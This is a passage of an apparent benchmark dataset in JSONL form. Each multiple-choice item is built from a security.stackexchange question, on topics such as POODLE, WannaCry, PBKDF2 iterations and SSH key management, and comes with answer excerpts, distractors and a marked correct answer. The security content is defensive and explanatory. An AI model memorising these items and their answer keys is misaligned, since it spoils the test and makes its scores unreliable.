5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "B": "What is the Poodle vulnerability ? The \"Poodle\" vulnerability, released on October 14th, 2014 , is an attack on the SSL 3.0 protocol. It is a protocol flaw, not an implementation issue; every implementation of SSL 3.0 suffers from it. Please note that we are talking about the old SSL 3.0, not TLS 1.0 or later. The TLS versions are not affected (neither is DTLS). In a nutshell: when SSL 3.0 uses a block cipher in CBC mode, the encryption process for a record uses padding so that the data length is a multiple of the block size. For instance,...", "C": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege...", "D": "I was curious about the same thing, so I put Gbt3fC79ZmMEFUFJ into Google, and lo! and behold it found something that wasn't just a paraphrase of \"Don't use this password\" advice — the password itself was embedded in example source code that showed how you could send a password to a server! ( link to page , and screenshot below) So I think the real goal of that advice is not that Gbt3fC79ZmMEFUFJ is a mysteriously weak password because of the keyboard layout or because of low entropy or because it doesn't include symbols or Unicode or emoji or whatever:..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/70719/ssl3-poodle-vulnerability"} {"id": "cybersecurity_159331", "domain": "cybersecurity", "question_title": "How is the "WannaCry" Malware spreading and how should users defend themselves from it?", "question_body": "There's a new strain of attacks which is affecting a lot of systems around the world (including the NHS in the UK and Telefonica in Spain) which is being called \"WannaCry\" amongst other names. It seems to be a both a standard phishing/ransomware attack but it's also spreading like a worm once it gets into a target network. How is this malware compromising people's systems and what's the best way for people to protect themselves from this attack?", "question_score": 250, "question_tags": ["malware", "ransomware", "wannacry"], "choices": {"A": "What do I do now? How do I get rid of the virus? The best option is what is referred to as \" nuke it from orbit .\" The reference is from Aliens : The idea behind this is that you wipe your hard drive and reinstall your OS. Before you do this, you should make sure you have the following: A way to boot your computer off installation media. This can be in the form of the Install CD that came with your computer, or a DVD you burnt from an ISO file (Windows can be downloaded legally here...", "B": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "C": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "D": "WannaCry attacks are initiated using an SMBv1 remote code execution vulnerability in Microsoft Windows OS. The EternalBlue exploit has been patched by Microsoft on March 14 and made publicly available through the \"Shadowbrokers dump\" on April 14th, 2017. However, many companies and public organizations have not yet installed the patch to their systems. The Microsoft patches for legacy versions of Windows were released last week after the attack. How to prevent WannaCry infection? Make sure that all hosts have enabled endpoint anti-malware solutions. Install the official Windows patch (MS17-010) https://technet.microsoft.com/en-us/library/security/ms17-010.aspx , which closes the SMB Server vulnerability used in this..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/159331/how-is-the-wannacry-malware-spreading-and-how-should-users-defend-themselves-f"} {"id": "cybersecurity_181580", "domain": "cybersecurity", "question_title": "Why is Math.random() not designed to be cryptographically secure?", "question_body": "The JavaScript Math.random() function is designed to return a single IEEE floating point value n such that 0 ≤ n not cryptographically secure. Most modern implementations use the XorShift128+ algorithm which can be easily broken . As it is not at all uncommon for people to mistakenly use it when they need better randomness, why do browsers not replace it with a CSPRNG? I know that Opera does that *, at least. The only reasoning I could think of would be that XorShift128+ is faster than a CSPRNG, but on modern (and even not so modern) computers, it would be trivial to output hundreds of megabytes per second using ChaCha8 or AES-CTR. Even an unoptimized implementation of ChaCha20 is extremely fast on all architectures, and ChaCha8 is more than twice as fast. I understand that it could not be re-defined as a CSPRNG as the standard explicitly gives no guarantee of suitability for cryptographic use, but there seems to be no downside to browser vendors doing it voluntarily. It would reduce the impact of bugs in a large number of web applications without violating the standard (it only requires the output be round-to-nearest-even IEEE 754 numbers), decreasing performance, or breaking compatibility with web applications. EDIT: A few people have pointed out that this could potentially cause people to abuse this function even if the standard says you cannot rely on it for cryptographic security. In my mind, there are two opposing factors that determine whether or not using a CSPRNG would be a net security benefit: False sense of security - The number of people who otherwise would use a function designed for this purpose, such as window.crypto , decide instead to use Math.random() because it happens to be cryptographically secure on their intended target platform. Opportunistic security - The number of people who don't know any better and use Math.random() anyway for sensitive applications who would be protected from their own mistake. Obviously, it would be better to educate them instead, but this is not always possible. It seems safe to assume that the number of people who would be protected from their own mistakes would greatly exceed the number of people who are lulled into a false sense of security. * As CodesInChaos points out, this is no longer true now that Opera is based off of Chromium. Several major browsers have had bug reports suggesting to replace this function with a cryptographically-secure alternative, but none of the suggested secure changes landed: Chromium thread: https://bugs.chromium.org/p/chromium/issues/detail?id=45580 Firefox thread: https://bugzilla.mozilla.org/show_bug.cgi?id=322529 The arguments for the change essentially match mine. The arguments against it vary from reduced performance on microbenchmarks (with little impact in the real world) to misunderstandings and myths, such as the incorrect idea that a CSPRNG gets weaker over time as more randomness is generated. In the end, Chromium created an entirely new crypto object, and Firefox replaced their RNG with the XorShift128+ algorithm. The Math.random() function remains fully predictable.", "question_score": 246, "question_tags": ["cryptography", "javascript", "random"], "choices": {"A": "I was one of the implementers of JScript and on the ECMA committee in the mid to late 1990s, so I can provide some historical perspective here. The JavaScript Math.random() function is designed to return a floating point value between 0 and 1. It is widely known (or at least should be) that the output is not cryptographically secure First off: the design of many RNG APIs is horrible . The fact that the .NET Random class can trivially be misused in multiple ways to produce long sequences of the same number is awful. An API where the natural way...", "B": "In some circumstances, peppers can be helpful. As a typical example, let's say you're building a web application. It consists of webapp code (running in some webapp framework, ASP.NET MVC, Pyramid on Python, doesn't matter) and a SQL Database for storage. The webapp and SQL DB run on different physical servers . The most common attack against the database is a successful SQL Injection Attack. This kind of attack does not necessarily gain access to your webapp code, because the webapp runs on a different server & user-ID. You need to store passwords securely in the database, and come up...", "C": "Your example string ( WeJcFMQ/8+8QJ/w0hHh+0g== ) is Base64 encoding for a sequence of 16 bytes, which do not look like meaningful ASCII or UTF-8. If this is a value stored for password verification (i.e. not really an \"encrypted\" password, rather a \"hashed\" password) then this is probably the result of a hash function computed over the password; the one classical hash function with a 128-bit output is MD5. But it could be about anything. The \"normal\" way to know that is to look at the application code. Application code is incarnated in a tangible, fat way (executable files on a...", "D": "\"If lack of encryption allows FBI to catch terrorists, then lack of encryption allows criminals to loot your emails and plunder your bank account.\" The rational point here is that technology is morally neutral. Encryption does not work differently depending on whether the attacker is morally right and the defender morally wrong, or vice versa. It is all fear-driven rhetoric anyway, so don't use logic; talk about what most frightens people, personally. And people fear most for their money."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/181580/why-is-math-random-not-designed-to-be-cryptographically-secure"} {"id": "cybersecurity_32003", "domain": "cybersecurity", "question_title": "Passwords being sent in clear text due to users' mistake in typing it in the username field", "question_body": "Upon reviewing the Logs generated by different SIEMs (Splunk, HP Logger Trial and the AlienVault platform’s SIEM) I noticed that for some reason quite a few users tend to make the mistake of typing their passwords in the username field, either in the OS Domain logon, or within web applications. I am guessing those are people who cannot type without looking at the keyboard and in trying to do so, doing it fast, end up typing their passwords in the wrong field. This means that the password is sent in plain text everywhere in the network and end up recorded on the logs with an event that says something along the lines: User P@$$w0rd does not exist [...] Or An account failed to login: P@$$w0rd [...] (where P@$$w0rd is the actual user's password) It becomes pretty obvious to work out to whom the passwords belong: usually the previous or very next (un)successful event on the same log file will tell you an event triggered by the same user. Any other Analyst, looking at the logs, could get someone else’s credentials without the due owner even being aware of that; the worst case scenario is network eavesdropping, or actual log file compromise. I am looking for a general guidance to help preventing this. I assume simply masking the username is not feasible and even if it were, this would probably eliminate a lot of the log analysis for not being able to tell who did what. Note: There is already a post on a similar issue, but I am trying to address a way to prevent it. What's the risk if I accidently type my password into a username field (Windows logon)? Accepted Answer: I wish I could select a few answers from the list. Unfortunately I have to stick to just one in the forum, but in practice I can combine them. Thanks very much for all the answers; I see there is no single solution. As I agree that adding 'things' add complexity which increase likelihood of security holes, I have to agree with most of the voters that @AJHenderson has the most elegant and simplest answer as a first approach. Definitely SSL and a simple code verification on the server or even at the client side. As I am looking to mitigate not against malicious users, but the distracted ones, this will do fine. Once this is in place, we can start looking at expanding the implementation to ill-intended users if appropriate. Thanks ever so much again for everyone's input.", "question_score": 245, "question_tags": ["passwords", "authentication", "logging", "siem"], "choices": {"A": "Go with RSA. DSA is faster for signature generation but slower for validation, slower when encrypting but faster when decrypting and security can be considered equivalent compared to an RSA key of equal key length. That's the punch line, now some justification. The security of the RSA algorithm is based on the fact that factorization of large integers is known to be \"difficult\", whereas DSA security is based on the discrete logarithm problem. Today the fastest known algorithm for factoring large integers is the General Number Field Sieve , also the fastest algorithm to solve the discrete logarithm problem in...", "B": "One thought is to not allow form submission if there is not a value in the password box. Generally if they accidentally entered the password in the username, then there likely isn't going to be anything in the password dialog. It is worth noting that this does not have to be simply done client side, but could also be done on a server as long as the transport used is secure and the input is not logged until after passing a check about the password field not being empty.", "C": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "D": "Let's hope and assume that Facebook stores only hashes of current password (and potentially previous passwords). Here is what they can do: user sets first password to \"first\" and fb stores hash(\"first\"). later on, users resets password and is asked to provide new password \"First2\" Facebook can generate bunch of passwords (similar to the new one): [\"First2\", \"fIrst2\", \"firSt2\", ... \"first2\", ... \"first\", ... ] and and then compare hash of each with the stored hash. This is the only solution that comes to my mind. Any other?"}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/32003/passwords-being-sent-in-clear-text-due-to-users-mistake-in-typing-it-in-the-use"} {"id": "cybersecurity_49782", "domain": "cybersecurity", "question_title": "Is Telegram secure?", "question_body": "There is a new WhatsApp-killer application called Telegram . They said that it's open source and that it has a more secure encryption . But they store all the messages in their servers and WhatsApp doesn't store any messages in any server, only a local copy in the phones. Is Telegram more secure than WhatsApp ?", "question_score": 245, "question_tags": ["encryption", "cryptography", "smartphone", "instant-messaging", "telegram"], "choices": {"A": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "B": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "C": "Is this normal for a pentest? Absolutely not . Best case scenario: they are performing \"social engineering\" penetration testing and want to see if you can be pressured into fulfilling a very dangerous action. Middle-case scenario, they don't know how to do their job. Worst-case scenario they are only pretending to be an auditing company and fulfilling their request will result in an expensive breach. In the case of a code-audit the company will obviously need access to source code. However I would expect a company who provides such services to already understand the sensitivity of such a need and...", "D": "TL;DR: No, Telegram is not secure . I'd like to ignore the comparison to WhatsApp because WhatsApp does not advertise itself as a \"secure\" messaging option. I'd like to instead focus on whether Telegram is secure. Telegram's security is built around their home spun MTProto protocol. We all know that the first rule of Cryptography is Don't Roll Your Own Crypto . Especially if you aren't trained cryptographers. Which the Telegram people most certainly aren't. The team behind Telegram, led by Nikolai Durov, consists of six ACM champions, half of them Ph.Ds in math. It took them about two years..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/49782/is-telegram-secure"} {"id": "cybersecurity_51771", "domain": "cybersecurity", "question_title": "Where do you store your personal private GPG key?", "question_body": "So, I want to start using pass , but I need a GPG key for this. This application will store all of my passwords, which means it's very important that I don't lose my private key, once generated. Hard disks break, cloud providers are generally not trusted. Not that I don't trust them to not mess with my key, but their security can be compromised, and all my passwords could be found. So, where can I safely store my GPG private key?", "question_score": 245, "question_tags": ["privacy", "key-management", "backup", "gnupg"], "choices": {"A": "I like to store mine on paper. Using a JavaScript (read: offline) QR code generator, I create an image of my private key in ASCII armoured form, then print this off. Note alongside it the key ID and store it in a physically secure location. Here's some that should work for you no matter what operating system you use, as long as you have a browser that supports JavaScript. For Windows users: Click here to download the JavaScript QR code generator: https://github.com/davidshimjs/qrcodejs/archive/04f46c6a0708418cb7b96fc563eacae0fbf77674.zip Extract the files somewhere, then proceed edit index.html per the instructions below. For MacOS or Unix users: #...", "B": "Bcrypt has the best kind of repute that can be achieved for a cryptographic algorithm: it has been around for quite some time, used quite widely, \"attracted attention\", and yet remains unbroken to date. Why bcrypt is somewhat better than PBKDF2 If you look at the situation in details, you can actually see some points where bcrypt is better than, say, PBKDF2 . Bcrypt is a password hashing function which aims at being slow. To be precise, we want the password hashing function to be as slow as possible for the attacker while not being intolerably slow for the honest...", "C": "According to Google , the difference is with handling referrer information when clicking on an ad. After a note from AviD and with the help of Xander we conducted some tests and here are the results 1. Clicking on an ad: https://google.com : Google will take you to an HTTP redirection page where they'd append your search query to the referrer information. https://encrypted.google.com : If the advertiser uses HTTP, Google will not let the advertiser know about your query. If the advertiser uses HTTPS, they will receive the referrer information normally (including your search query). 2. Clicking on a normal...", "D": "Best way to distribute your key is by using one of the key servers that are available, such as keyserver.ubuntu.com , pgp.mit.edu or keyserver.pgp.com . If you use Seahorse (default key manager under Ubuntu), it automatically syncs your keys to one of these servers. Users can then look up your key using your email address or keyid. If you wanted to post your public key on LinkedIn or your blog, you can either upload the key to your server or just link to the page for your key on one of the keyservers above. Personally, I would upload it to..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/51771/where-do-you-store-your-personal-private-gpg-key"} {"id": "cybersecurity_32367", "domain": "cybersecurity", "question_title": "What is the difference between https://google.com and https://encrypted.google.com?", "question_body": "Is it there any difference between the encrypted Google search (at https://encrypted.google.com ) and the ordinary HTTPS Google search (at https://google.com )? In terms of security what were the benefits of browsing through encrypted Google search? Note that this is not a question about HTTP vs HTTPS . These are two Google services.", "question_score": 244, "question_tags": ["encryption", "tls", "web-application", "privacy", "http"], "choices": {"A": "If you hash on the client side, the hashed password becomes the actual password (with the hashing algorithm being nothing more than a means to convert a user-held mnemonic to the actual password). This means that you will be storing the full \"plain-text\" password (the hash) in the database, and you will have lost all benefit of hashing in the first place. If you decide to go this route, you might as well forgo any hashing and simply transmit and store the user's raw password (which, incidentally, I wouldn't particularly recommend).", "B": "According to Google , the difference is with handling referrer information when clicking on an ad. After a note from AviD and with the help of Xander we conducted some tests and here are the results 1. Clicking on an ad: https://google.com : Google will take you to an HTTP redirection page where they'd append your search query to the referrer information. https://encrypted.google.com : If the advertiser uses HTTP, Google will not let the advertiser know about your query. If the advertiser uses HTTPS, they will receive the referrer information normally (including your search query). 2. Clicking on a normal...", "C": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "D": "The short answer is yes. The long answer is also yes. /dev/urandom yields data which is indistinguishable from true randomness, given existing technology. Getting \"better\" randomness than what /dev/urandom provides is meaningless, unless you are using one of the few \"information theoretic\" cryptographic algorithm, which is not your case (you would know it). The man page for urandom is somewhat misleading, arguably downright wrong, when it suggests that /dev/urandom may \"run out of entropy\" and /dev/random should be preferred; the only instant where /dev/urandom might imply a security issue due to low entropy is during the first moments of a..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/32367/what-is-the-difference-between-https-google-com-and-https-encrypted-google-c"} {"id": "cybersecurity_3959", "domain": "cybersecurity", "question_title": "Recommended # of iterations when using PBKDF2-SHA256?", "question_body": "I'm curious if anyone has any advice or points of reference when it comes to determining how many iterations is 'good enough' when using PBKDF2 (specifically with SHA-256). Certainly, 'good enough' is subjective and hard to define, varies by application & risk profile, and what's 'good enough' today is likely not 'good enough' tomorrow... But the question remains, what does the industry currently think 'good enough' is? What reference points are available for comparison? Some references I've located: Sept 2000 - 1000+ rounds recommended (source: RFC 2898) Feb 2005 - AES in Kerberos 5 'defaults' to 4096 rounds of SHA-1. (source: RFC 3962) Sept 2010 - ElcomSoft claims iOS 3.x uses 2,000 iterations, iOS 4.x uses 10,000 iterations, shows BlackBerry uses 1 (exact hash algorithm is not stated) (source: ElcomSoft ) May 2011 - LastPass uses 100,000 iterations of SHA-256 (source: LastPass ) Jun 2015 - StableBit uses 200,000 iterations of SHA-512 (source: StableBit CloudDrive Nuts & Bolts ) Aug 2015 - CloudBerry uses 1,000 iterations of SHA-1 (source: CloudBerry Lab Security Consideration (pdf) ) I'd appreciate any additional references or feedback about how you determined how many iterations was 'good enough' for your application. As additional background, I'm considering PBKDF2-SHA256 as the method used to hash user passwords for storage for a security conscious web site. My planned PBKDF2 salt is: a per-user random salt (stored in the clear with each user record) XOR'ed with a global salt. The objective is to increase the cost of brute forcing passwords and to avoid revealing pairs of users with identical passwords. References: RFC 2898: PKCS #5: Password-Based Cryptography Specification v2.0 RFC 3962: Advanced Encryption Standard (AES) Encryption for Kerberos 5 PBKDF2: Password Based Key Derivation Function v2", "question_score": 242, "question_tags": ["cryptography", "passwords", "appsec", "hash", "pbkdf2"], "choices": {"A": "You should use the maximum number of rounds which is tolerable, performance-wise, in your application. The number of rounds is a slowdown factor, which you use on the basis that under normal usage conditions, such a slowdown has negligible impact for you (the user will not see it, the extra CPU cost does not imply buying a bigger server, and so on). This heavily depends on the operational context: what machines are involved, how many user authentications per second... so there is no one-size-fits-all response. The wide picture goes thus: The time to verify a single password is v on...", "B": "Rainbow Tables are commonly confused with another, simpler technique that leverages a compute time-storage tradeoff in password recover: hash tables. Hash tables are constructed by hashing each word in a password dictionary. The password-hash pairs are stored in a table, sorted by hash value. To use a hash table, simple take the hash and perform a binary search in the table to find the original password, if it's present. Rainbow Tables are more complex. Constructing a rainbow table requires two things: a hashing function and a reduction function. The hashing function for a given set of Rainbow Tables must match...", "C": "By any measure, they're wrong: Seven random printable ASCII: 95 7 = 69 833 729 609 375 possible passwords. Ten random alphabetics: 52 10 = 144 555 105 949 057 024 possible passwords, or over 2000 times as many. Length counts. If you're generating your passwords randomly, it counts for far more than any other method of making them hard to guess.", "D": "As a starting point, we will consider that each elementary operation implies a minimal expense of energy; Landauer's principle sets that limit at 0.0178 eV, which is 2.85×10 -21 J. On the other hand, the total mass of the Solar system, if converted in its entirety to energy, would yield about 1.8×10 47 J (actually that's what you would get from the mass of the Sun, according to this page , but the Sun takes the Lion's share of the total mass of the Solar system). This implies a hard limit of about 6.32×10 68 elementary computations, which is about..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/3959/recommended-of-iterations-when-using-pbkdf2-sha256"} {"id": "cybersecurity_40050", "domain": "cybersecurity", "question_title": "Best Practice: ”separate ssh-key per host and user“ vs. ”one ssh-key for all hosts“", "question_body": "Is it better to create a separate SSH key for each host and user or just using the id_rsa key for all hosts to authenticate? Could one id_rsa be malpractice for the privacy/anonymity policies? having one ssh-key for all hosts: ~/.ssh/id_rsa ~/.ssh/id_rsa.pub in comparison to separate ssh-keys: ~/.ssh/user1_host1 ~/.ssh/user1_host1.pub ~/.ssh/user2_host1 ~/.ssh/user2_host1.pub ~/.ssh/user3_host2 ~/.ssh/user3_host2.pub ~/.ssh/user4_host3 ~/.ssh/user4_host3.pub ... etc.", "question_score": 240, "question_tags": ["privacy", "ssh", "key-management", "anonymity", "key-generation"], "choices": {"A": "From what I heard earlier today, https/ssl flows correctly through your borders. You should hence check out Corkscrew . Similarly to netcat , it's used to wrap ssh in https to allow the use of https proxies. Another solution would be to use LSH which, by having a different signature than ssh, works from Iran as Siavash noted it in his message .", "B": "There is no proof that DuckDuckGo operates as advertised. (There never is, on the web.) However, that is the wrong question. DuckDuckGo is very clear in its privacy policy . DuckDuckGo says it doesn't track you , it doesn't send your searches to other sites , by default it does not use any cookies , it does not collect personal information , it does not log your IP address or other information about your computer that may be sent automatically with your searches , it doesn't store any personal information at all . Those are pretty strong promises, with no...", "C": "A private key corresponds to a single \"identity\" for a given user, whatever that means to you. If, to you, an \"identity\" is a single person, or a single person on a single machine, or perhaps a single instance of an application running on a single machine. The level of granularity is up to you. As far as security is concerned, you don't compromise your key in any way [1] by using it to log in on a machine (as you would by using a password), so having separate keys for separate destinations doesn't make you any more safe from...", "D": "I like to store mine on paper. Using a JavaScript (read: offline) QR code generator, I create an image of my private key in ASCII armoured form, then print this off. Note alongside it the key ID and store it in a physically secure location. Here's some that should work for you no matter what operating system you use, as long as you have a browser that supports JavaScript. For Windows users: Click here to download the JavaScript QR code generator: https://github.com/davidshimjs/qrcodejs/archive/04f46c6a0708418cb7b96fc563eacae0fbf77674.zip Extract the files somewhere, then proceed edit index.html per the instructions below. For MacOS or Unix users: #..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/40050/best-practice-separate-ssh-key-per-host-and-user-vs-one-ssh-key-for-all-hos"} {"id": "cybersecurity_200243", "domain": "cybersecurity", "question_title": "All 0s (zeros) in a bank card's CVC code", "question_body": "My bank card recently expired. I got a new one and this one turned out to be \"lucky\": its CVC code was 000 . For a few months I used it extensively, both online and offline, without any difficulties - until the day when I entered my card details on Booking.com. I filled in the form, clicked \"submit\" - only to see the page discard the value in the CVC field and demand that I enter it again. I contacted support. They confirmed that CVC code \"000\" is not acceptable because it is considered not secure enough (not an exact quote unfortunately, as the conversation was in Estonian), and they suggested that I order a new bank card where the CVC code would be different from \"000\". That puzzled me. As a former tester, I'm quite used to situations where I think I'm reporting a bug and then I'm told it is actually a feature, but this time it was somewhat against common sense. My current work is also related to information security and I can think of three reasons their claim doesn't make sense: CVC is not just a random number, there is a certain algorithm of generating it. This, in turn, means that all values are equally probable and some certain numbers can't just be excluded from it. I have already used this card with a number of other online services, including Amazon Web Services, whose security is out of any doubts. I don't quite understand what \"not secure enough\" means. Are \"111\" or \"999\" secure enough? If not, how about \"123\" or \"234\"? Again, it's not something I pick myself, it's something I'm given by a bank, and if the bank thinks it's secure, then it must be treated as such. Their response was very polite but not very helpful: \" We totally understand your frustration and we are really sorry about causing you inconvenience. We handed your reasoning over to our management - they responded that 000 is considered invalid, and this is also a way banks indicate that the card is a forgery \". I forwarded the mail chain to my bank and asked for their advice. They told me they'd issue a new card for free, which solved the problem for me. However, I still wonder: Are there any official regulations/prescriptions (from Visa/MC or elsewhere) or any best practices regarding \"all-zero\" CVC/CVV codes? Especially that bit about banks allegedly using 000 as an indication of a forgery - sounds like complete nonsense to me. I tried googling, but couldn't find anything. From a practical point of view, how reasonable it is to decline \"000\" as insecure? I listed my concerns above, but maybe I'm missing something? Update : Tough choice on which answer to accept... I liked the answer from Alexander O'Mara a lot - it is detailed and to the point. The latest revision of Harper's answer also seems very reasonable. Yet I eventually decided to accept the answer by Zoey - it seems the most relevant, as it, besides everything else, also sheds some light on the internals of hotel business. Thanks everyone for your answers and comments! What I'm going to do now is contact Booking.com support again and insist on getting this fixed. Will let you know about the outcome. Update 2 : After several months of trying to contact Booking.com's support I officially give up. I haven't gone any further than a countless number of support tickets that were not even confirmed, not to mention being reacted on, and a couple of phone calls where I explained the situation and got nothing but a canned email \"we are trying very hard to solve your problem\". Bottomline: Booking.com's support doesn't work - unless your problem is very standard, it won't be solved nor escalated to higher management. The bug still exists. I'm now assured that it is nothing but a software bug, because CVC \"000\" is perfectly accepted when you add a new card, but it doesn't work when you are trying to update an expired (or otherwise invalid card). Here's the repro steps: Create a new booking that requires immediate payment. Enter an invalid card (expired or blocked). When the system sends a notification that the card can't be processed, select \"update card details\" and enter details of a valid card with CVC code 000. Expected result: the card data gets accepted for further processing. Actual result: the entered CVC code gets discarded and the dialog window complains that CVC code is not entered.", "question_score": 239, "question_tags": ["credit-card"], "choices": {"A": "I was curious about the same thing, so I put Gbt3fC79ZmMEFUFJ into Google, and lo! and behold it found something that wasn't just a paraphrase of \"Don't use this password\" advice — the password itself was embedded in example source code that showed how you could send a password to a server! ( link to page , and screenshot below) So I think the real goal of that advice is not that Gbt3fC79ZmMEFUFJ is a mysteriously weak password because of the keyboard layout or because of low entropy or because it doesn't include symbols or Unicode or emoji or whatever:...", "B": "Alexander O'Mara provided a correct answer , but having worked in a hotel that was using booking.com I believe I can provide additional information about the reason that CVV was denied. Every day the hotel I worked in would receive around 50 bookings, a quarter of these bookings would be using fake credit card details, and about 90% of people using fake credit card details would not show up. This resulted in a lot of guesswork when assigning rooms, we would often try to guess if the person will show up just based on their credit card details, and also...", "C": "Simply put, Account Updater : When participating issuers re-issue cards, they submit the new account number and expiration date to VAU. Participating merchants send inquiries on their credentials-on-file to VAU and are provided with updated card information, if available. This helps participating issuers retain cardholders by maintaining continuity of their payment relationships with participating merchants. Shutterstock subscribes to Account Updater, and gets updated copies of your card info when it expires or is replaced. VAU is Visa's version; more info is in a fact sheet here . MasterCard calls their version Account Billing Updater . American Express calls their version...", "D": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/200243/all-0s-zeros-in-a-bank-cards-cvc-code"} {"id": "cybersecurity_202902", "domain": "cybersecurity", "question_title": "Is single quote filtering nonsense?", "question_body": "Penetration testers found out that we allow single quotes in submitted data fields, and want us to apply rules (input validation) to not allow them in any value. While I'm aware that single quotes are popular for SQL injection attacks, I strongly disagree that they should not be allowed as valid input. I am advocating for actually preventing SQL injection by means of using prepared statements (which properly quote the values) instead of filtering out anything that remotely looks like being an SQL fragment. My case: Person names can contain single quotes (such as O'Reilly ) Text fields can contain single quotes (such as I'm pretty sure ) Number fields can contain single quotes ( EUR 1'000'000 ) and many more I've seen other cases where applying SQL injection prevention rules dicarded valid data for the silliest reasons (name \" Andreas \" rejected because it contains an AND , and various common words in plain text fields being rejected because they contained the keywords \" select \", \" insert \", \" update \" or \" delete \"). What's the security professionals' stance on that matter? Shall we reject implementing input validation for single quotes for the reasons I stated?", "question_score": 239, "question_tags": ["penetration-test", "sql-injection", "validation"], "choices": {"A": "Note: This answer was written in 2013. Many things have changed in the following years, which means that this answer should primarily be seen as how best practices used to be in 2013. The Theory We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if a hostile outsider were to gain a simple glimpse at the contents of...", "B": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "C": "You should implement input validation as a defense-in-depth method. So input validation should not be your primary defense against SQL injection, that should be prepared statements. 